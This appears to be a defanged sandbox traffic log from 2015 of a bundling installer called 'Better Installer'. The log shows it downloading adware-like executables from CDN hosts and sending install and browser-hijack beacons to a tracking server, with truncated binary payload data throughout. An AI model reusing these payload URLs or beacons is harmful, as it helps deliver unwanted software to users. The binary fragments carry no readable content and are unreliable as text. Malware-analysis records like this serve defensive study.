Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.5.10.1430385829; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:26:16 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:26:16 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1
Range: bytes=73277-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 512937
Connection: keep-alive
Date: Sun, 26 Apr 2015 07:01:19 GMT
x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671
Cache-Control: max-age=3600
Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT
ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"
Accept-Ranges: bytes
Server: AmazonS3
Age: 1568
Content-Range: bytes 73277-586213/586214
X-Cache: Hit from cloudfront
Via: 1.1 7b48191d48ad0a2b3616c20acd7fbc1c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: I4kq0DMkartM4QbjUmd9s6GaVPXQ7MvDl3sAaJ4ujIf_RqCO-XirXg==
.9.z.f..2......./5h_G. zh@>.........8.Q$Rj....m&........g.c......,.
..>5.Q...Qr...~p..(..>.;./%..a....!..,....-...k.z..<....@h#~}
fN..x.Xi.&..._%cR....L........%...L.....cw/zi.d.t.*..u....D..9?'......
}..}..Y....G{.c....?W4....3.K1..9gUy][email protected]{..kY.r..@.
..... ........."."1........\.n...&..a!5...Y....s.s...GS.......*.......
..3..G.a.HT....E...*$..!.'l..h\.........a...MS.9...oz%.^.....>..r..
.~..[.....6Mw....E......soU[......f#..V&.7P.......?*.$.8P..,.j.....1..
[email protected]...%R......j,Ba]..........#:....j`..I<Tw.)GA
'X-..M....x(o9...eG...&g.S........Sk...ak..E.b.L?..0..Q...............
 .$.f.NR$...rv.=.#.....MG..#QQ..Y....;,..dno.u....x.......H3...Z...(y.
.......~...8(..H.#..}.....h....Y.....[.2....)a.%.}8.^w.........N.5.R}A
(..>.<.-G*....n=..a.?.......V..H.....I.[Q.Zs,..T..T(..{.:.^(..%.
.k.^o.....q*..V,..eAej..u.t.,qi.Q.Z#..V.I........M......>.%...)....
D....L'[V...tl.....Owm..{._..g......d.5....4D9..|..#X[...t:lvP'\....j8
.".}[email protected].}k2.|L.....p...[..d. .s.....r^..;V.._.6.....
U&...g..K.*......@... [./...9.........e...oF....k....=L...(#.M.u......
|....j....*2......./.."B.S.QK....7....[....;& [email protected]......^.Z@....>
;.Z7?....5R/..4<.. ~...;...87.D.....V.&.....vm..?.....i......l.L(.C
..1....o...?.pF.[.Q.........6...0MsN...P.Go.[S...4...C#..{.g02.cU....U
 ..z.......g...o..g.x$..Z.^Z...:......iW\...p.JbP...1#...2<o...}r.3
(......1.f.....F...n..i...l......,).Vm.]...s......`..V[_^........b&.w&
"hy=/{.../.Z.D[M.vB.1.2P...*.j.?...bFL.......W...`..C....O*...8.. 
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=18232-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 54690
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 18232-72921/72922
Age: 3540
X-Cache: Hit from cloudfront
Via: 1.1 cd103c18819ef0db201c8a8cb9162bd2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: r30LFlP4J3h9FmKg9s2nfzQI0OaP-OAOY7hy8UX4DyQctxhFTdeiIQ==
[email protected]@..E......%[email protected][email protected]$..
........=`7B..t....uG.=h7B..t.........6B.h..@[email protected][email protected]$....@.
.. [email protected][email protected]@[email protected]@...t.
[email protected]$..u.WV..|[email protected]._^...U....L...S.].VW.}......W.E..........E.t.W..
0q@[email protected].......]..e..t.....'...............B.WV......}..t.h`[email protected]
.......W......?.u..=..B.\[email protected]....([email protected]...
..........j?P.......,....8.t..}..t..u..>.u..F...tc<.u..~..tYVS.F
..........t..E....<.u?.u.W......4.u.W.......u.9E.t.Wj......j.W.....
....H7B...Wj............P.u...,[email protected]...<q@..}..t..c..3.9u.t
K9u.u...H7B..>W.......t4W.5....E...PW.......u.9u.t.Wj..s...VW.5....
.Wj..b..._^[....V.t$.V.{[email protected]\[email protected].....^....D$...:L$.t
.P.. [email protected]$.V.4......8\t.PV...q@.;.w.. .@^....T$...... ..\u.
8J.t.<a|.<z...z.:[email protected] [email protected].|$.W....S......t..;:u..{.
\u.P...$..\u.8O.u.j.^j\[email protected]._^[...VW.t$....B.V.q...V..
.......u.3..RW........6B..t.....t.<\t. ....C.....t....t.V.....V.@..
.;[email protected]........._^[email protected]..'.E..u...0.$
[email protected].. [email protected]..;E.}.3._^[.........L$.V.t$...v..D$. ...
...ANu.^[email protected].$.P.t$...|p@...^[email protected]....#.Q
[email protected][email protected]...`[email protected]
[email protected]..&._^][email protected].;[email protected].
^][email protected]@[email protected][email protected]....
../...;...'....P.B.SV.t$ ..........;.......VWh|[email protected]@.....6
<<< skipped >>>


GET /install.ashx?e=043Mckb8LngyWo2RxjjNijDg90yhWAZuJgZdxYA/ajToUht0DV8eHWD3h9gcT/r2iwEbfeVtNep9AGHLpPN9dvm9MH d93Mvga zuhV9q9Hxu1y 6Ac0RKhN6psLdnSsNiYrnbXcJYFPMXncQenCC3JF1S42 BeaImPFRYkh3egX v6FJSWjmLUVyGRiJmmWG73xbmM7JbkFsK7/Ya3qp3H4CQmKwMH4TiSKiKbKv61eLAdt2STwvhnJsfssGenaftxp29cdet/75Tb6nvI6oZN041sf6R9PPE5RP1LOLdbgMBqn0KNh8JqOWL1s /Izp59WIWsKGx4z3GMUs6QTMnG8k4nQ9jWi94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjn8XYr3vj6K/6Z9eIrA9uVBQH07zjNFHyg= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: wt94bf4ec-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:53 GMT
Content-Type: application/octet-stream
Content-Length: 2432
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|[email protected].^&.w...P...o.w...6!i|.".......-..D....V.|
..(g.......0...(....._.....c<"..D.......h..i<"..D...hnJ.....8/E.
.....9..A .......,.#.x/D..EN|V..8.....(..Y.....RO.....pu3@[S......{X.5
..#...t....... t.....44{Q.]~........X.....^.uf.na$..U..K....V.........
..*......z ...e..F3.9.G....v$.t..Lr..?..Z.B[.|...FR#.S..rlD..i0u[.f.I.
.Fy.Y......5....x!..."..fA..#.n.....M3.._. X?...u./...w.:.........<
.n\.<...P.....".......3..\P..-yX....T. .5..5.....c....m6....<..Q
.j.#.U0/.#...T.i.9(....%f.@..).....H..o3.V.]....X.$..F..c.X~...i...KS.
..5..#.....*.g......!...\...R.;.t..o.&N.(...f..[......T...Uh<.._U.c
/Y7.IU.....F..l.......1p.....E..>..T.....[..C.......<.8......1..
1...j...........c..7....e...|lB...k......H........v.c.]....^5..1.].qKV
...C. .d.......B..._...$.&>p.0...5.L..'5.....-14........*{8......5.
.#.... ..D<&..fl....'..y.Q..........(V.q.....k.C....0....:.6T~.C..0
.Q..7~I..8......([email protected].]..Vrp.....~%..p/.y/.R.Q..A.).`..`.r..
.......*[email protected]...&.....<.......ms3...X./....z.j..h..
3]o.x.{.."[email protected].. .\.~........f..%7"..Mb.eSG..Xo...
 O..."J.JF...|..y.....`...q..V.<...._....-g....!.ea.L..............
f..%7"[email protected]..&..Q.q]....F....p.^5~..B...Fy..\..ym...ID.....z...
8...y...a.s.....\..,I.9!..MT{.6.w.E..e.....-...7)c...........L_.IQ.bf@
%_z..z7'...D|rW45.m_,GY)...0...V.G........i....3..........G&6..0C.;AK.
4...&.xl..l.&J..m.......fm....P....h:k....m.K #...Pa......Z~..*}..
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=392442-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:27:18 GMT
Date: Thu, 30 Apr 2015 09:27:18 GMT
Content-Range: bytes 392442-523255/523256
Content-Length: 130814
Connection: keep-alive
...l..:B\k..I.V#...B.............. !...z. 3).5.9..........y..{.u;U};.*
..?.g........ ..B.7XE.N(...#{...qLc...<.....r.J...9.........e....`.
2.........|.I}6...%....F....4....[9....... (.....C..G~...Y0gs-.a..3..j
..M..8. M ...78^c.x&W.20..."s..zL....w..hKI..)p.....{..G.c..h..7... W.
..:.:zcJx.k;.i.}.........vE:..\...7.5...........28.w....F"....f..s..M.
[email protected]..{..U$.&.XQ.........t...Y.3......08$.F.....u0C......
.Z.9.4ZPb.XB}.IPKm..y{j..=S..Ly.<[.VW.7^S.R l.....$Y3-.=b...*c&..8.
C.IP.O..../....b.....&<p..=.\G..3.r..,.>GIo.....7.q`bie.L...S1._
..ZhG.J8E........U..Q.$...z.-!...FGh./Q[1...'..f...[H.Z...0.H...Qv...Q
[email protected]..#.3i...p.....GH.....$........xr..'Zs... Ni.M..e....Gg_g\.....H
P.y.-..a....R?N.7'.z....W$....7..5O.....H..`.Y....g.._cCzz..wS.s......
..Oa...p.k...h1.........g.C...X]/.*.fG...<.%......j".F.M....p..w..-
."#.(..)...6.y.=h......P..J.,|.p....(.9y...|[email protected],.*...
....N..W/.Y..H.ED.....UT.<...K."._1......\j......)r.....\.s.......v
.v..m..i.n<.l.s..7^<!....,..)..\.?..... .r...IW.0..HQ4?....K;Di.
|...2.....[h.#]...*.......M.&.....C.;..u....N..Y.SV.....0.(...1KBA70..
T...FyP....L.UiO?.,H^.c....E1....a.Z....v$.75.(..(..F...............,w
lB[.~...S.?{<./5.i..;.....T.W..F....|5u.%{.I#7r..Y)F..L.wW.....DQ.X
0X..........,..v.....]..[j......S.5..."...V"^..9......&.9..\........{.
.!0.Z.(Yqfx.....%..T...I^.M<...P.. ^..q. -s..(..m.........ss.......
.....o......)z...rR3.t..QG .T.A...AjK......9...Ca.Ej.L...BB.gK.a..2...
.....)T.............((..A.....&.H5........y> ..v..G......S...H.
<<< skipped >>>


GET /v4/sof-ient/267123711_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.2102&update4=chptid,smt HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 30 Apr 2015 09:23:46 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.83 ms","message":"store 3 action and 5 upd
ate "}..0......


GET /v4/sof-ient/267123711_198339_B48A115F?action1=install.smt HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 30 Apr 2015 09:23:47 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.41 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Thu, 30 Apr 20
15 09:23:47 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.41 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /27164.ashx?e=avvs8glXF/ynb5JQEhhcuNLznKmg4M9JQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMahdcSNOq4JV1xRkC1S3KQ32AqR2XPWVGh jCDsw4o/xYUAvnawhe3hfp45jy0xQSUx2dEgSay2qahLBQe2rbTMasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruRy5x0Up4A3P HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:53 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:24:53 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.regok HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 30 Apr 2015 09:23:26 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.45 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Thu, 30 Apr 201
5 09:23:26 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.45 ms","message":"store 1 act
ion and 0 update "}..0......


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.nt.ff.tab HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 30 Apr 2015 09:23:37 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.34 ms","message":"store 1 action and 0 upd
ate "}..0..



GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=9116-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 63806
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 9116-72921/72922
Age: 3227
X-Cache: Hit from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: O_EuYbQzbo44s4igyfhRApJk8afAkOq_NI5A0Kz8xJbVNUXijuDOJw==
[email protected],.u....u.)u.....@..}....B....u9E........jj
...j.....tS9u.}..u.VW.Y.....uHj.X.I.u.9u.}[email protected]
[email protected].;u.u..u.)u..}.......u..E._^[.....t$..t$..5..@...(.....j.j
[email protected]@....V...B.V.B-..V..%....u.^.V.U%[email protected]'..
^.......SUV3.W.\$..D$...@..\$ .D$. [email protected]@[email protected].
...6B.S.D$8h`[email protected][email protected]..?*.... [email protected]*..S...q@..
=..B."..6B...u..D$."...B..t$.P..$..P.. [email protected]$........ [email protected] t..8".D$. 
[email protected]$.".8/[email protected]... t.:.u...`7B........{[email protected][email protected].@
[email protected]... t.:.u..L$ [email protected][email protected].@......
[email protected]$.P..#...8"u.@..:...6......X....Ph..B...)...5.p@...
[email protected][email protected]..([email protected]..(.
[email protected]\[email protected][email protected]@..t$ .S...;..D$.......9.
.6B.tvSU./#....;[email protected][email protected][email protected][email protected];.s
.;[email protected]..#....t*Vh..B...(..Vh..B...(...\$...l7B........D$.
[email protected]\$.......h.. [email protected][email protected]..'[email protected]
[email protected]@.8...B.u.Vh..B...'...t$.h.@B..~'..f...@[email protected]..%A.@.]..
...A.f..DB...6B... ...V.o'[email protected]\[email protected]..%....6B
...$...V.8'..V.....;.t.P...p@..\$....DB.Mu.SW..%.......9.T7B.t{j...*..
j.....)..j.....)..;...tH;.tD;[email protected]$.Pj([email protected],.D$(Ph,[email protected]$
,SPS.t$0.D$<[email protected]$..t$....
p@[email protected]@.....@...(...j.h..B.......V.5..A....t$..V..6Y..u.^.
[email protected]@...u._.%..A..^....A....H.;
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 1286329
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 25 Apr 2015 19:35:23 GMT
Content-Range: bytes 0-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 9NO50EKzE-THPlc1BlWk1BEjdeKVfOWprut1PHrbiC4cUvWFB0Z9Sg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.....
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=832858-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:22:09 GMT
Content-Type: application/octet-stream
Content-Length: 277618
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 832858-1110475/1110476
.'.. .O..l$.wQi.t...g%..4..........9:1`..?......]... ...Z....Br.B.....
.A.........i..T.#.F.d.[....C.xJ.K}..pF..J...<9.rgt....[p%..\u/...7.
~.K.......v#........a.=......h.....6......v.K...../VN.=..I.e.Cc.6..W@.
.,.dn.j..d.A{.A..D.Q.~...5...=L]>...|.H..},.^E..\F.c...D^.}]D....'[
L....`.3Dp..r....P.....-....v-.[0.\....22cK...^.=?c.t....a.........R.s
o1.lI..Q_./`..,\../.c.?...S...K.O?...j.....s.....($.k...,x.?......z...
w.(.^=..4J.S*K.qm...`oG.D.<6a.........R....`..QNx......:..=g.K.....
...X4........T-J.........j.sh....}..Y.`..MThf.')^.[..;.'..X.a..&.....-
...x.....{.b...a...3....9{Y...`S......\...&F[....8.QL....S....n.......
Sc..:...Zd...n..q....R......6n.90.q~....<.o....5............`..n...
.~.p...OUr...y.8}.R%....y.*[email protected]..
.`..l....S......l]j.../.<..{1k>H.h.m.......2O.....4.2..L...a.(c.
...F...._..7.]......C[.i.3u..e...........0...m.j..h>...R.mu..] d.4.
.v.......g........t...\.*C......u0......w.K3..M.U......^.d.\.X.~..:.p.
...O..tNgx.....c...o...'..AY....|..t .....\.U........RE...N ..-,.nPgqw
......p.H.bMz...HJ.OG\.*....!..G/%..<...T..x.tn=..[1..sB.......z.FS
.8I....;.....].7.... ...|HT.fE...pX....-.......6..,.$.~.;..b....EZ~..,
........A.-..-.. ......T<N,..O([email protected]=.>..
.n.....6b.p....^4.....^.A./.......~5..z..~..UO.......iH.6..%....... .1
...{o..f$U>.]Y7.Xh|..![.............<......P9)..Q,..B.t.....f{..
t[...'.....&..VJ. ..9T!XH......&y.=.....O...4...Z....S..g..E/D.I%o....
PBL.........`.0..9I....&....d.....^... ....|Q....Qn..e"\.2.o.7_..A
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAKQll6RM0DNpmNM7zH3/Qc= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.verisign.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1790
content-transfer-encoding: binary
Cache-Control: max-age=528500, public, no-transform, must-revalidate
Last-Modified: Wed, 29 Apr 2015 12:15:02 GMT
Expires: Wed, 6 May 2015 12:15:02 GMT
Date: Thu, 30 Apr 2015 09:27:12 GMT
Connection: keep-alive
0..........0..... .....0......0...0......'.V.8.F.V....H....JW..2015042
9121502Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
....^[email protected]...*.H........
.......d...W.P".....!..%.p..0....e."..<.\l&.. zl%ln@{.Sc.....l....;
R....@).(E.D...c.\.Q.L&...;]A$:.o1.(>.l..G#Db.!....bO..T=&}?.`.....
w.}1[.1.P.{[.%..Lji..`H...............Z...9M\\du8.X.N..c.A.:j$.p.2...0
.....7.2x....C"."...1(.LA6...&....SH,..../[email protected].....#0...0...0
..........r..?.*......y"..0...*.H........0..1.0...U....US1.0...U....Ve
riSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use a
t hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code S
igning 2009-2 CA0...150226000000Z..150527235959Z0..1.0...U....US1.0...
U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms o
f use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign Clas
s 3 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0.......
......m5*R........2....>...yU4..L.. ...........u..Hez..Pn.....d...n
z(...V7.}^...d!RX...bl..[..a...L.. .~..Ij......%..%p.-...u..:..i..F*].
..*....{NH..|0...gHX.Q.r....S..........._.9.(w...suC...N..s.....&."...
:.C.Q.i~rl..<..krS..8.B..o][email protected]...
U....0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.veri
sign.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS inco
rp. by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U..
......0... .....0......0"..U....0...0.1.0...U....TGV-B-32010...*.H
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.verisign.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1453
content-transfer-encoding: binary
Cache-Control: max-age=602379, public, no-transform, must-revalidate
Last-Modified: Thu, 30 Apr 2015 08:45:10 GMT
Expires: Thu, 7 May 2015 08:45:10 GMT
Date: Thu, 30 Apr 2015 09:26:46 GMT
Connection: keep-alive
0..........0..... .....0......0...0......T3t.%..O.E..~..F.=....2015043
0084510Z0s0q0I0... ........H.dI.....3..^B...d6Q....ZL%."..1.m..._)..a.
.eR&.....Y.)..".\....20150430084510Z....20150507084510Z0...*.H........
.....S.F1....m^.f...(.Ss@*M`:_.GI.Y.I"..}M@........*....o9-.{2W..)'./.
A....VIl....Xy......#.J..!..z.Q...0.Z.W.e....{D...tm..=.(........W.3G.
t..mw....#tn%n.P...,...E.mD.N..P.b.qY..|.c.>..xBZ.J.l.G..wx.......y
[email protected].~.?.o.x.k.KB......6.....g.owYk........B(...D....0...0...0..3
......./...b.v..-....l}0...*.H........0_1.0...U....US1.0...U....VeriSi
gn, Inc.1705..U....Class 3 Public Primary Certification Authority0...1
41202000000Z..151216235959Z0..1.0...U....US1.0...U....Symantec Corpora
tion1.0...U....Symantec Trust Network1?0=..U...6Symantec Class 3 PCA -
 G1 OCSP Responder Certificate 30.."0...*.H.............0..........'..
....Y..x.3B1.7..Q..`..d.. ....s..t.$a.....j2R.{ ,*..c{.3.....H..3-; ).
....0._...*..9M..V...... ...{m...-.......)..tR..{D....~...M...T..pS.p.
.^|o....S..v.).)[email protected]#qh...u1T.].G0.]E...=._..
.... ........TE...Sa.s4........r...3.............0..0...U....0.0l..U. 
.e0c0a..`.H...E....0R0&.. .........hXXp://VVV.symauth.com/cps0(.. ....
...0...hXXp://VVV.symauth.com/rpa0...U.%..0... .......0...U........0..
. .....0......0!..U....0...0.1.0...U....TGV-B-2730...*.H.............$
..H......oU....Y!.z{*.V.M..u.._z..3>.. 0....3..m.....e.......a..D..
.........e..F6:.y.....di.......<y.Z.......x}..q.2....UZ1 :,.
...
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI= HTTP/1.1


Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.verisign.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1790
content-transfer-encoding: binary
Cache-Control: max-age=411368, public, no-transform, must-revalidate
Last-Modified: Tue, 28 Apr 2015 03:40:02 GMT
Expires: Tue, 5 May 2015 03:40:02 GMT
Date: Thu, 30 Apr 2015 09:26:46 GMT
Connection: keep-alive
0..........0..... .....0......0...0......'.V.8.F.V....H....JW..2015042
8034002Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
..M.s.Q~...@?j.......20150428034002Z....20150505034002Z0...*.H........
......>...|.#%....9.x.Fl.{.j..i.{<...B......5h..T.....<....).
nU,7.L.,UpM&F9~.....ye.wpA.W.(9...VO{R.".~.C..G.t.*B...L......D.tj....
[email protected]$...zL........{..G...............].A..z..:{.*&*..2Q
S..s..Nt3..G..CR..D...-.T....H...l.7\..z..:.E.}L.Yk.Zvc..[.....#0...0.
..0..........r..?.*......y"..0...*.H........0..1.0...U....US1.0...U...
.VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of us
e at hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Cod
e Signing 2009-2 CA0...150226000000Z..150527235959Z0..1.0...U....US1.0
...U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Term
